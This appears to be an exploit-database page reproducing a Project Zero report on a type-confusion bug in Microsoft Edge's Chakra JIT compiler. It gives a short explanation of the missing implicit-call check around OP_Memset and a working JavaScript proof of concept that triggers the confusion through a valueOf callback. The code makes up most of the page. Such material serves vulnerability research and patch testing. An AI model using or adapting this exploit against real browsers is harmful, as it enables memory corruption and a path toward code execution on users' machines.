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Microsoft Edge Chakra JIT - OP_Memset Type Confusion Exploit
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1357
function opt(a, b, v) {
if (b.length < 1)
return;
for (let i = 0; i < a.length; i++)
a[i] = v;
b[0] = 2.3023e-320;
}
The above JavaScript code is JITed as follows:
... CHECKING THE TYPE OF B ...
OP_Memset(a, v, a.length);
b[0] = 2.3023e-320;
But there's no ImplicitCallFlags checks around OP_Memset. So it fails to detect if the type of "b" was changed after the "OP_Memset" called.
The PoC shows that it can result in type confusion.
PoC:
*/
function opt(a, b, v) {
if (b.length < 1)
return;
for (let i = 0; i < a.length; i++)
a[i] = v;
b[0] = 2.3023e-320;
}
function main() {
for (let i = 0; i < 1000; i++) {
opt(new Uint8Array(100), [1.1, 2.2, 3.3], {});
}
let a = new Uint8Array(100);
let b = [1.1, 2.2, 3.3];
opt(a, b, {
valueOf: () => {
b[0] = {};
return 0;
}
});
print(b[0]);
}
main();
# 0day.today [2024-11-15] #